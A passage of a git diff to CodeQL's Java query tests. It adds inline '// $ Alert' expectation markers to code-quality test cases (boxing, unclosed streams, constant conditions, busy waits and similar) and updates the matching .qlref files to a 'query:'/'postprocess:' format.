Alert // NOT OK - int l = i == null ? 0 : i; + int l = i == null ? 0 : i; // $ Alert } void bar(boolean b) {} @@ -21,15 +21,15 @@ class Test { Integer box(int i) { Integer[] is = new Integer[1]; // NOT OK - is[0] = i; + is[0] = i; // $ Alert // NOT OK - Integer j = i; + Integer j = i; // $ Alert // NOT OK - return i == -1 ? null : i; + return i == -1 ? null : i; // $ Alert } void rebox(Integer i) { // NOT OK - i += 19; + i += 19; // $ Alert } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/AvoidDeprecatedCallableAccess/AvoidDeprecatedCallableAccess.qlref b/java/ql/test/query-tests/AvoidDeprecatedCallableAccess/AvoidDeprecatedCallableAccess.qlref index 58c139046f3..1277deb8a54 100644 --- a/java/ql/test/query-tests/AvoidDeprecatedCallableAccess/AvoidDeprecatedCallableAccess.qlref +++ b/java/ql/test/query-tests/AvoidDeprecatedCallableAccess/AvoidDeprecatedCallableAccess.qlref @@ -1 +1,2 @@ -Advisory/Deprecated Code/AvoidDeprecatedCallableAccess.ql \ No newline at end of file +query: Advisory/Deprecated Code/AvoidDeprecatedCallableAccess.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/AvoidDeprecatedCallableAccess/Test.java b/java/ql/test/query-tests/AvoidDeprecatedCallableAccess/Test.java index 8f4b55c861d..b9095a1fa70 100644 --- a/java/ql/test/query-tests/AvoidDeprecatedCallableAccess/Test.java +++ b/java/ql/test/query-tests/AvoidDeprecatedCallableAccess/Test.java @@ -10,11 +10,11 @@ public class Test { { // NOT OK - m(); + m(); // $ Alert } public static void main(String[] args) { // NOT OK - new Test().n(); + new Test().n(); // $ Alert } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/BadAbsOfRandom/BadAbsOfRandom.qlref b/java/ql/test/query-tests/BadAbsOfRandom/BadAbsOfRandom.qlref index b6bbc44bfa0..2fa4288992a 100644 --- a/java/ql/test/query-tests/BadAbsOfRandom/BadAbsOfRandom.qlref +++ b/java/ql/test/query-tests/BadAbsOfRandom/BadAbsOfRandom.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/BadAbsOfRandom.ql +query: Likely Bugs/Arithmetic/BadAbsOfRandom.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/BadAbsOfRandom/Test.java b/java/ql/test/query-tests/BadAbsOfRandom/Test.java index a01f13c7a82..1be16ed7368 100644 --- a/java/ql/test/query-tests/BadAbsOfRandom/Test.java +++ b/java/ql/test/query-tests/BadAbsOfRandom/Test.java @@ -7,18 +7,18 @@ public class Test { public static void test() { Random r = new Random(); - Math.abs(r.nextInt()); - Math.abs(r.nextLong()); + Math.abs(r.nextInt()); // $ Alert + Math.abs(r.nextLong()); // $ Alert Math.abs(r.nextInt(100)); // GOOD: random value already has a restricted range - Math.abs(RandomUtils.nextInt()); - Math.abs(RandomUtils.nextLong()); + Math.abs(RandomUtils.nextInt()); // $ Alert + Math.abs(RandomUtils.nextLong()); // $ Alert Math.abs(RandomUtils.nextInt(1, 10)); // GOOD: random value already has a restricted range Math.abs(RandomUtils.nextLong(1, 10)); // GOOD: random value already has a restricted range ThreadLocalRandom tlr = ThreadLocalRandom.current(); - Math.abs(tlr.nextInt()); - Math.abs(tlr.nextLong()); + Math.abs(tlr.nextInt()); // $ Alert + Math.abs(tlr.nextLong()); // $ Alert Math.abs(tlr.nextInt(10)); // GOOD: random value already has a restricted range Math.abs(tlr.nextLong(10)); // GOOD: random value already has a restricted range Math.abs(tlr.nextInt(1, 10)); // GOOD: random value already has a restricted range diff --git a/java/ql/test/query-tests/BadCheckOdd/BadCheckOdd.java b/java/ql/test/query-tests/BadCheckOdd/BadCheckOdd.java index a1f7e950502..f76b5b535fe 100644 --- a/java/ql/test/query-tests/BadCheckOdd/BadCheckOdd.java +++ b/java/ql/test/query-tests/BadCheckOdd/BadCheckOdd.java @@ -7,23 +7,23 @@ class BadCheckOdd { } public boolean badLiteral() { - return -10 % 2 > 0; + return -10 % 2 > 0; // $ Alert } public boolean badBrackets1() { - return -10 % 2 > (0); + return -10 % 2 > (0); // $ Alert } public boolean badBrackets2() { - return -10 % (2) > 0;// + return -10 % (2) > 0;// $ Alert // } public boolean badBrackets3() { - return (-10) % 2 > 0; + return (-10) % 2 > 0; // $ Alert } public boolean badBrackets4() { - return (-10 % 2) > 0; + return (-10 % 2) > 0; // $ Alert } // TODO: support for these cases @@ -47,11 +47,11 @@ class BadCheckOdd { public boolean badVarLiteral() { int x = -10; - return x % 2 > 0; + return x % 2 > 0; // $ Alert } public boolean badParam(int x) { - return x % 2 > 0; + return x % 2 > 0; // $ Alert } public boolean badSometimes(boolean positive) { @@ -60,11 +60,11 @@ class BadCheckOdd { x = 10; else x = -10; - return x % 2 > 0; + return x % 2 > 0; // $ Alert } private int f; public boolean badField() { - return f % 2 >0; + return f % 2 >0; // $ Alert } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/BadCheckOdd/BadCheckOdd.qlref b/java/ql/test/query-tests/BadCheckOdd/BadCheckOdd.qlref index 486707e04c1..544f107b3ff 100644 --- a/java/ql/test/query-tests/BadCheckOdd/BadCheckOdd.qlref +++ b/java/ql/test/query-tests/BadCheckOdd/BadCheckOdd.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/BadCheckOdd.ql \ No newline at end of file +query: Likely Bugs/Arithmetic/BadCheckOdd.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/BoxedVariable/BoxedVariable.java b/java/ql/test/query-tests/BoxedVariable/BoxedVariable.java index 948f0942af7..3f0f8ff8a44 100644 --- a/java/ql/test/query-tests/BoxedVariable/BoxedVariable.java +++ b/java/ql/test/query-tests/BoxedVariable/BoxedVariable.java @@ -2,12 +2,12 @@ import java.util.*; class Test { public void f() { - Boolean done = false; // bad + Boolean done = false; // $ Alert // bad while (!done) { done = true; } - Integer sum = 0; // bad + Integer sum = 0; // $ Alert // bad for (int i = 0; i < 10; i++) sum += i; useBoxed(sum); @@ -15,7 +15,7 @@ class Test { Integer box = 42; // ok; only boxed usages useBoxed(box); - Integer badbox = 17; // bad + Integer badbox = 17; // $ Alert // bad useBoxed(badbox); usePrim(badbox); @@ -23,7 +23,7 @@ class Test { usePrim(x); x = null; - Long y = getPrim(); // bad + Long y = getPrim(); // $ Alert // bad y = 15L; y = getPrim(); boolean dummy = y > 0; @@ -39,7 +39,7 @@ class Test { for (Integer okix : l) sum += okix; // ok; has boxed assignment - for (Integer badix : a) sum += badix; // bad + for (Integer badix : a) sum += badix; // $ Alert // bad } void usePrim(int i) { } diff --git a/java/ql/test/query-tests/BoxedVariable/BoxedVariable.qlref b/java/ql/test/query-tests/BoxedVariable/BoxedVariable.qlref index 3b9bd6efc7e..d7c4d286236 100644 --- a/java/ql/test/query-tests/BoxedVariable/BoxedVariable.qlref +++ b/java/ql/test/query-tests/BoxedVariable/BoxedVariable.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Boxed Types/BoxedVariable.ql +query: Violations of Best Practice/Boxed Types/BoxedVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/BusyWait/BusyWait.qlref b/java/ql/test/query-tests/BusyWait/BusyWait.qlref index c172b454c92..874645fca3e 100644 --- a/java/ql/test/query-tests/BusyWait/BusyWait.qlref +++ b/java/ql/test/query-tests/BusyWait/BusyWait.qlref @@ -1 +1,2 @@ -Likely Bugs/Concurrency/BusyWait.ql \ No newline at end of file +query: Likely Bugs/Concurrency/BusyWait.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/BusyWait/BusyWaits.java b/java/ql/test/query-tests/BusyWait/BusyWaits.java index 7b30ffe591e..4269bc905f1 100644 --- a/java/ql/test/query-tests/BusyWait/BusyWaits.java +++ b/java/ql/test/query-tests/BusyWait/BusyWaits.java @@ -1,13 +1,13 @@ class BusyWaits { public void badWait() throws InterruptedException { while(this.hashCode() != 0) - Thread.sleep(1); + Thread.sleep(1); // $ Alert } public void badWait2() throws InterruptedException, CloneNotSupportedException { while (this.hashCode() < 3) { for (int i = 0; i < this.hashCode(); this.clone()) - Thread.sleep(new String[1].length); + Thread.sleep(new String[1].length); // $ Alert } } @@ -26,4 +26,4 @@ class BusyWaits { System.out.println("foo"); } } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.java b/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.java index b77afc49105..b77c3b91538 100644 --- a/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.java +++ b/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.java @@ -15,12 +15,12 @@ import java.util.zip.ZipFile; class CloseReader { void test1() throws IOException { - BufferedReader br = new BufferedReader(new FileReader("C:\\test.txt")); + BufferedReader br = new BufferedReader(new FileReader("C:\\test.txt")); // $ Alert System.out.println(br.readLine()); } void test2() throws IOException { - InputStream in = new FileInputStream("file.bin"); + InputStream in = new FileInputStream("file.bin"); // $ Alert in.read(); } @@ -30,7 +30,7 @@ class CloseReader { // InputStreamReader may throw an exception, in which case the ... reader = new InputStreamReader( // ... FileInputStream is not closed by the finally block - new FileInputStream("C:\\test.txt"), "UTF-8"); + new FileInputStream("C:\\test.txt"), "UTF-8"); // $ Alert System.out.println(reader.read()); } finally { @@ -40,7 +40,7 @@ class CloseReader { } void test4() throws IOException { - ZipFile zipFile = new ZipFile("file.zip"); + ZipFile zipFile = new ZipFile("file.zip"); // $ Alert System.out.println(zipFile.getComment()); } diff --git a/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.qlref b/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.qlref index 1c808bb9f46..9fae04fe76d 100644 --- a/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.qlref +++ b/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.qlref @@ -1 +1,2 @@ -Likely Bugs/Resource Leaks/CloseReader.ql +query: Likely Bugs/Resource Leaks/CloseReader.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/CloseResource/CloseWriter/CloseWriter.java b/java/ql/test/query-tests/CloseResource/CloseWriter/CloseWriter.java index 3733237b8de..877d18bae68 100644 --- a/java/ql/test/query-tests/CloseResource/CloseWriter/CloseWriter.java +++ b/java/ql/test/query-tests/CloseResource/CloseWriter/CloseWriter.java @@ -14,12 +14,12 @@ import java.util.zip.ZipFile; class CloseWriter { void test1() throws IOException { - BufferedWriter bw = new BufferedWriter(new FileWriter("C:\\test.txt")); + BufferedWriter bw = new BufferedWriter(new FileWriter("C:\\test.txt")); // $ Alert bw.write("test"); } void test2() throws IOException { - OutputStream out = new FileOutputStream("test.bin"); + OutputStream out = new FileOutputStream("test.bin"); // $ Alert out.write(1); } @@ -29,7 +29,7 @@ class CloseWriter { // OutputStreamWriter may throw an exception, in which case the ... writer = new OutputStreamWriter( // ... FileOutputStream is not closed by the finally block - new FileOutputStream("C:\\test.txt"), "UTF-8"); + new FileOutputStream("C:\\test.txt"), "UTF-8"); // $ Alert writer.write("test"); } finally { diff --git a/java/ql/test/query-tests/CloseResource/CloseWriter/CloseWriter.qlref b/java/ql/test/query-tests/CloseResource/CloseWriter/CloseWriter.qlref index 88008367363..d81d6020dae 100644 --- a/java/ql/test/query-tests/CloseResource/CloseWriter/CloseWriter.qlref +++ b/java/ql/test/query-tests/CloseResource/CloseWriter/CloseWriter.qlref @@ -1 +1,2 @@ -Likely Bugs/Resource Leaks/CloseWriter.ql +query: Likely Bugs/Resource Leaks/CloseWriter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/CompareIdenticalValues/A.java b/java/ql/test/query-tests/CompareIdenticalValues/A.java index 89cadc833f5..d3f1b984132 100644 --- a/java/ql/test/query-tests/CompareIdenticalValues/A.java +++ b/java/ql/test/query-tests/CompareIdenticalValues/A.java @@ -6,13 +6,13 @@ class Super { public class A extends Super { class B extends Super { { - if (this.foo == this.foo) + if (this.foo == this.foo) // $ Alert ; - if (B.this.foo == this.foo) + if (B.this.foo == this.foo) // $ Alert ; - if (super.foo == foo) + if (super.foo == foo) // $ Alert ; - if (B.super.foo == foo) + if (B.super.foo == foo) // $ Alert ; if (A.this.foo != this.foo) ; @@ -23,23 +23,23 @@ public class A extends Super { { Double d = Double.NaN; - if (d == d); // !Double.isNan(d) - if (d <= d); // !Double.isNan(d), but unlikely to be intentional - if (d >= d); // !Double.isNan(d), but unlikely to be intentional - if (d != d); // Double.isNan(d) - if (d > d); // always false - if (d < d); // always false + if (d == d); // $ Alert // !Double.isNan(d) + if (d <= d); // $ Alert // !Double.isNan(d), but unlikely to be intentional + if (d >= d); // $ Alert // !Double.isNan(d), but unlikely to be intentional + if (d != d); // $ Alert // Double.isNan(d) + if (d > d); // $ Alert // always false + if (d < d); // $ Alert // always false float f = Float.NaN; - if (f == f); // !Float.isNan(f) - if (f <= f); // !Float.isNan(f), but unlikely to be intentional - if (f >= f); // !Float.isNan(f), but unlikely to be intentional - if (f != f); // Float.isNan(f) - if (f > f); // always false - if (f < f); // always false + if (f == f); // $ Alert // !Float.isNan(f) + if (f <= f); // $ Alert // !Float.isNan(f), but unlikely to be intentional + if (f >= f); // $ Alert // !Float.isNan(f), but unlikely to be intentional + if (f != f); // $ Alert // Float.isNan(f) + if (f > f); // $ Alert // always false + if (f < f); // $ Alert // always false int i = 0; - if (i == i); - if (i != i); + if (i == i); // $ Alert + if (i != i); // $ Alert } } diff --git a/java/ql/test/query-tests/CompareIdenticalValues/CompareIdenticalValues.qlref b/java/ql/test/query-tests/CompareIdenticalValues/CompareIdenticalValues.qlref index afff16c4f86..6022334fa24 100644 --- a/java/ql/test/query-tests/CompareIdenticalValues/CompareIdenticalValues.qlref +++ b/java/ql/test/query-tests/CompareIdenticalValues/CompareIdenticalValues.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/CompareIdenticalValues.ql \ No newline at end of file +query: Likely Bugs/Comparison/CompareIdenticalValues.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ComplexCondition/ComplexCondition.java b/java/ql/test/query-tests/ComplexCondition/ComplexCondition.java index 4ed26d90731..8ad6e40022c 100644 --- a/java/ql/test/query-tests/ComplexCondition/ComplexCondition.java +++ b/java/ql/test/query-tests/ComplexCondition/ComplexCondition.java @@ -1,11 +1,11 @@ class ComplexCondition { public boolean bad(boolean a, boolean b, boolean c) { - if (a && (b || !c) + if (a && (b || !c) // $ || b && (a || !c) - || c && (a || !b)) { + || c && (a || !b)) { // $ Alert return true; } else { - return (a && !b) || (b && !c) || (a && !c) || (a && b || c); + return (a && !b) || (b && !c) || (a && !c) || (a && b || c); // $ Alert } } @@ -30,4 +30,4 @@ class ComplexCondition { }.ok(a || b, b || c, c || a) ); } -}; \ No newline at end of file +}; diff --git a/java/ql/test/query-tests/ComplexCondition/ComplexCondition.qlref b/java/ql/test/query-tests/ComplexCondition/ComplexCondition.qlref index 3c32b8a04ce..cf023b3c8af 100644 --- a/java/ql/test/query-tests/ComplexCondition/ComplexCondition.qlref +++ b/java/ql/test/query-tests/ComplexCondition/ComplexCondition.qlref @@ -1 +1,2 @@ -Complexity/ComplexCondition.ql +query: Complexity/ComplexCondition.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ConfusingOverloading/ConfusingOverloading.qlref b/java/ql/test/query-tests/ConfusingOverloading/ConfusingOverloading.qlref index 4fc71295c2c..e74bc1b00aa 100644 --- a/java/ql/test/query-tests/ConfusingOverloading/ConfusingOverloading.qlref +++ b/java/ql/test/query-tests/ConfusingOverloading/ConfusingOverloading.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql \ No newline at end of file +query: Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ConfusingOverloading/TestConfusingOverloading.java b/java/ql/test/query-tests/ConfusingOverloading/TestConfusingOverloading.java index bba5cfb67b6..1d404574215 100644 --- a/java/ql/test/query-tests/ConfusingOverloading/TestConfusingOverloading.java +++ b/java/ql/test/query-tests/ConfusingOverloading/TestConfusingOverloading.java @@ -4,7 +4,7 @@ public class TestConfusingOverloading { void test(Super other) {} } class Sub extends Super { - void test(Sub other) {} + void test(Sub other) {} // $ Alert } class Sub2 extends Super { diff --git a/java/ql/test/query-tests/ConstantExpAppearsNonConstant/ConstantExpAppearsNonConstant.qlref b/java/ql/test/query-tests/ConstantExpAppearsNonConstant/ConstantExpAppearsNonConstant.qlref index 6d7e1f5cb7f..924600d5a4d 100644 --- a/java/ql/test/query-tests/ConstantExpAppearsNonConstant/ConstantExpAppearsNonConstant.qlref +++ b/java/ql/test/query-tests/ConstantExpAppearsNonConstant/ConstantExpAppearsNonConstant.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/ConstantExpAppearsNonConstant.ql \ No newline at end of file +query: Likely Bugs/Arithmetic/ConstantExpAppearsNonConstant.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ConstantExpAppearsNonConstant/Test.java b/java/ql/test/query-tests/ConstantExpAppearsNonConstant/Test.java index 57c8fe55f15..344fe39d603 100644 --- a/java/ql/test/query-tests/ConstantExpAppearsNonConstant/Test.java +++ b/java/ql/test/query-tests/ConstantExpAppearsNonConstant/Test.java @@ -15,27 +15,27 @@ class Test{ int mul_constant_left = 0 * 60 * 60 * 24; //OK int mul_constant_right = 60 * 60 * 24 * 0; //OK int mul_is_not_constant = rnd.nextInt() * 1; //OK - int mul_is_constant_int_left = (0+0) * rnd.nextInt(); //NOT OK - int mul_is_constant_int_right = rnd.nextInt() * (1-1); //NOT OK - long mul_is_constant_hex = rnd.nextLong() * (0x0F & 0xF0); //NOT OK - long mul_is_constant_binary = rnd.nextLong() * (0b010101 & 0b101010); //NOT OK + int mul_is_constant_int_left = (0+0) * rnd.nextInt(); // $ Alert //NOT OK + int mul_is_constant_int_right = rnd.nextInt() * (1-1); // $ Alert //NOT OK + long mul_is_constant_hex = rnd.nextLong() * (0x0F & 0xF0); // $ Alert //NOT OK + long mul_is_constant_binary = rnd.nextLong() * (0b010101 & 0b101010); // $ Alert //NOT OK int mul_explicit_zero = rnd.nextInt() * 0; //OK (deliberate zero multiplication) //Remainder by 1 int rem_not_constant = 42 % 6; //OK int rem_constant = 60 % 1; //OK int rem_is_not_constant = rnd.nextInt() % 2; //OK - int rem_is_constant_int = rnd.nextInt() % 1; //NOT OK + int rem_is_constant_int = rnd.nextInt() % 1; // $ Alert //NOT OK double rem_is_constant_float = rnd.nextDouble() % 1; //OK (remainder by 1 on floats is not constant) - long rem_is_constant_hex = rnd.nextLong() % 0x1; //NOT OK - long rem_is_constant_binary = rnd.nextLong() % 01; //NOT OK + long rem_is_constant_hex = rnd.nextLong() % 0x1; // $ Alert //NOT OK + long rem_is_constant_binary = rnd.nextLong() % 01; // $ Alert //NOT OK //Bitwise 'and' by 0 int band_not_constant = 42 & 6; //OK int band_appears_constant_left = 0 & 60; //OK int band_appears_constant_right = 24 & 0; //OK int band_is_not_constant = rnd.nextInt() & 5; //OK - int band_is_constant_left = 0 & rnd.nextInt(); //NOT OK - int band_is_constant_right = rnd.nextInt() & 0; //NOT OK + int band_is_constant_left = 0 & rnd.nextInt(); // $ Alert //NOT OK + int band_is_constant_right = rnd.nextInt() & 0; // $ Alert //NOT OK //Logical 'and' by false boolean and_not_constant = true && true; //OK @@ -50,7 +50,7 @@ class Test{ boolean or_appears_constant_left = true || false; //OK boolean or_appears_constant_right = false || true; //OK boolean or_is_not_constant = (rnd.nextInt() > 0) || false; //OK - boolean or_is_constant_left = true || (rnd.nextInt() > 0); //NOT OK - boolean or_is_constant_right = (rnd.nextInt() > 0) || true; //NOT OK + boolean or_is_constant_left = true || (rnd.nextInt() > 0); // $ Alert //NOT OK + boolean or_is_constant_right = (rnd.nextInt() > 0) || true; // $ Alert //NOT OK } } diff --git a/java/ql/test/query-tests/ConstantLoopCondition/A.java b/java/ql/test/query-tests/ConstantLoopCondition/A.java index 444954476da..e837b69ea1e 100644 --- a/java/ql/test/query-tests/ConstantLoopCondition/A.java +++ b/java/ql/test/query-tests/ConstantLoopCondition/A.java @@ -5,14 +5,14 @@ class A { void f(int initx) { boolean done = false; - while(!done) { // BAD: main loop condition is constant in the loop + while(!done) { // $ Alert // BAD: main loop condition is constant in the loop if (otherCond()) break; } int x = initx * 2; int i = 0; for(x++; ; i++) { - if (x > 5 && otherCond()) { // BAD: x>5 is constant in the loop and guards all exits + if (x > 5 && otherCond()) { // $ Alert // BAD: x>5 is constant in the loop and guards all exits if (i > 3) break; if (otherCond()) return; } @@ -26,14 +26,14 @@ class A { i++; } - for(int j = 0; j < 2 * initx; i++) { // BAD: j 0) { // OK: loop used as an if-statement break; } - while (cond) { // BAD: read of final field + while (cond) { // $ Alert // BAD: read of final field i++; } } diff --git a/java/ql/test/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref b/java/ql/test/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref index 37e6a9b72fe..f7081322f7d 100644 --- a/java/ql/test/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref +++ b/java/ql/test/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref @@ -1 +1,2 @@ -Likely Bugs/Termination/ConstantLoopCondition.ql +query: Likely Bugs/Termination/ConstantLoopCondition.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ContainerSizeCmpZero/ContainerSizeCmpZero.qlref b/java/ql/test/query-tests/ContainerSizeCmpZero/ContainerSizeCmpZero.qlref index a9ea71f7f28..8d1915fd56a 100644 --- a/java/ql/test/query-tests/ContainerSizeCmpZero/ContainerSizeCmpZero.qlref +++ b/java/ql/test/query-tests/ContainerSizeCmpZero/ContainerSizeCmpZero.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/ContainerSizeCmpZero.ql \ No newline at end of file +query: Likely Bugs/Likely Typos/ContainerSizeCmpZero.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ContainerSizeCmpZero/Main.java b/java/ql/test/query-tests/ContainerSizeCmpZero/Main.java index 8176177561a..518e5074fc3 100644 --- a/java/ql/test/query-tests/ContainerSizeCmpZero/Main.java +++ b/java/ql/test/query-tests/ContainerSizeCmpZero/Main.java @@ -5,22 +5,22 @@ public class Main { public static void arrays(String[] args) { // NOT OK: always true - if (args.length >= 0) { + if (args.length >= 0) { // $ Alert System.out.println("At least zero arguments!!"); } // NOT OK: always true - if (0 <= args.length) { + if (0 <= args.length) { // $ Alert System.out.println("At least zero arguments!!"); } // NOT OK: always false - if (args.length < 0) { + if (args.length < 0) { // $ Alert System.out.println("At least zero arguments!!"); } // NOT OK: always false - if (0 > args.length) { + if (0 > args.length) { // $ Alert System.out.println("At least zero arguments!!"); } @@ -51,12 +51,12 @@ public class Main { Boolean b; // NOT OK - b = xs.size() >= 0; - b = 0 <= xs.size(); - b = 0 <= ys.size(); + b = xs.size() >= 0; // $ Alert + b = 0 <= xs.size(); // $ Alert + b = 0 <= ys.size(); // $ Alert - b = xs.size() < 0; - b = 0 > ys.size(); + b = xs.size() < 0; // $ Alert + b = 0 > ys.size(); // $ Alert // OK b = xs.size() >= -1; @@ -80,24 +80,24 @@ public class Main { Boolean b; // NOT OK - b = xs.size() >= 0; - b = xs.size() < 0; + b = xs.size() >= 0; // $ Alert + b = xs.size() < 0; // $ Alert // NOT OK - b = xs.get(0).size() >= 0; + b = xs.get(0).size() >= 0; // $ Alert // NOT OK - b = xs.get(0).get(0).length() >= 0; + b = xs.get(0).get(0).length() >= 0; // $ Alert } public static void mapTests(TreeMap xs) { Boolean b; // NOT OK: Always true - b = xs.size() >= 0; + b = xs.size() >= 0; // $ Alert // NOT OK: Always true - b = 0 <= xs.size(); + b = 0 <= xs.size(); // $ Alert // OK: can be false b = xs.size() >= -1; @@ -110,9 +110,9 @@ public class Main { Boolean b; // NOT OK - b = s.size() >= 0; - b = a.size() >= 0; - b = 0 <= m.size(); + b = s.size() >= 0; // $ Alert + b = a.size() >= 0; // $ Alert + b = 0 <= m.size(); // $ Alert } } diff --git a/java/ql/test/query-tests/ContinueInFalseLoop/A.java b/java/ql/test/query-tests/ContinueInFalseLoop/A.java index 51f381b94c8..99a749d6726 100644 --- a/java/ql/test/query-tests/ContinueInFalseLoop/A.java +++ b/java/ql/test/query-tests/ContinueInFalseLoop/A.java @@ -11,7 +11,7 @@ public class A { do { if (c.cond()) - continue; // BAD + continue; // $ Alert // BAD if (c.cond()) break; } while (false); @@ -51,7 +51,7 @@ public class A { do { do { if (c.cond()) - continue; // BAD + continue; // $ Alert // BAD if (c.cond()) break; } while (false); @@ -76,7 +76,7 @@ public class A { default: // do [2] // break out of the loop entirely, skipping [3] - continue; // BAD; labelled break is better + continue; // $ Alert // BAD; labelled break is better }; // do [3] } while (false); diff --git a/java/ql/test/query-tests/ContinueInFalseLoop/ContinueInFalseLoop.qlref b/java/ql/test/query-tests/ContinueInFalseLoop/ContinueInFalseLoop.qlref index 525b40f8409..3fa3e514229 100644 --- a/java/ql/test/query-tests/ContinueInFalseLoop/ContinueInFalseLoop.qlref +++ b/java/ql/test/query-tests/ContinueInFalseLoop/ContinueInFalseLoop.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/ContinueInFalseLoop.ql +query: Likely Bugs/Statements/ContinueInFalseLoop.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ContradictoryTypeChecks/ContradictoryTypeChecks.qlref b/java/ql/test/query-tests/ContradictoryTypeChecks/ContradictoryTypeChecks.qlref index 0744f656bdb..ecec142d9ed 100644 --- a/java/ql/test/query-tests/ContradictoryTypeChecks/ContradictoryTypeChecks.qlref +++ b/java/ql/test/query-tests/ContradictoryTypeChecks/ContradictoryTypeChecks.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/ContradictoryTypeChecks.ql \ No newline at end of file +query: Likely Bugs/Likely Typos/ContradictoryTypeChecks.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ContradictoryTypeChecks/Test.java b/java/ql/test/query-tests/ContradictoryTypeChecks/Test.java index 258b6ce87a2..25b44158fdb 100644 --- a/java/ql/test/query-tests/ContradictoryTypeChecks/Test.java +++ b/java/ql/test/query-tests/ContradictoryTypeChecks/Test.java @@ -7,31 +7,31 @@ public class Test { void foo(Super lhs, Super rhs) { if (lhs instanceof Sub1) ; else if (rhs instanceof Sub1) - if ((lhs instanceof Sub1) || (lhs instanceof Sub2)); + if ((lhs instanceof Sub1) || (lhs instanceof Sub2)); // $ Alert } void bar(Super x) { if (x instanceof Super); - else if (x instanceof Sub1); + else if (x instanceof Sub1); // $ Alert } // modeled after results on Apache Lucene void baz(Super x, Super y) { if (x instanceof Sub1); - else if (x instanceof Sub1); + else if (x instanceof Sub1); // $ Alert } // NOT OK void w(Super x) { if (x instanceof Sub2 || x instanceof Super); - else if (x instanceof Sub1); + else if (x instanceof Sub1); // $ Alert } // modeled after result on WildFly @Override public boolean equals(Object object) { if ((object != null) && !(object instanceof Test)) { - Test value = (Test) object; + Test value = (Test) object; // $ Alert return (this.hashCode() == value.hashCode()) && super.equals(object); } return super.equals(object); @@ -40,7 +40,7 @@ public class Test { // NOT OK Sub1 m(Super o) { if (!(o instanceof Sub1)) - return (Sub1)o; + return (Sub1)o; // $ Alert return null; } diff --git a/java/ql/test/query-tests/DeadCode/DeadRefTypes/DeadRefTypes.qlref b/java/ql/test/query-tests/DeadCode/DeadRefTypes/DeadRefTypes.qlref index e4f2d879149..e8f47f2d682 100644 --- a/java/ql/test/query-tests/DeadCode/DeadRefTypes/DeadRefTypes.qlref +++ b/java/ql/test/query-tests/DeadCode/DeadRefTypes/DeadRefTypes.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/DeadRefTypes.ql +query: Violations of Best Practice/Dead Code/DeadRefTypes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/DeadCode/DeadRefTypes/UnusedClass.java b/java/ql/test/query-tests/DeadCode/DeadRefTypes/UnusedClass.java index 4c0d27118a3..f6696b8296a 100644 --- a/java/ql/test/query-tests/DeadCode/DeadRefTypes/UnusedClass.java +++ b/java/ql/test/query-tests/DeadCode/DeadRefTypes/UnusedClass.java @@ -1 +1 @@ -class UnusedClass {} +class UnusedClass {} // $ Alert diff --git a/java/ql/test/query-tests/DeadCode/NonAssignedFields/NonAssignedFields.qlref b/java/ql/test/query-tests/DeadCode/NonAssignedFields/NonAssignedFields.qlref index 79031c31ddb..ea15ad036eb 100644 --- a/java/ql/test/query-tests/DeadCode/NonAssignedFields/NonAssignedFields.qlref +++ b/java/ql/test/query-tests/DeadCode/NonAssignedFields/NonAssignedFields.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/NonAssignedFields.ql \ No newline at end of file +query: Violations of Best Practice/Dead Code/NonAssignedFields.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/DeadCode/camel/DeadClass.qlref b/java/ql/test/query-tests/DeadCode/camel/DeadClass.qlref index d726e7e0849..b94832ebfca 100644 --- a/java/ql/test/query-tests/DeadCode/camel/DeadClass.qlref +++ b/java/ql/test/query-tests/DeadCode/camel/DeadClass.qlref @@ -1 +1,2 @@ -DeadCode/DeadClass.ql +query: 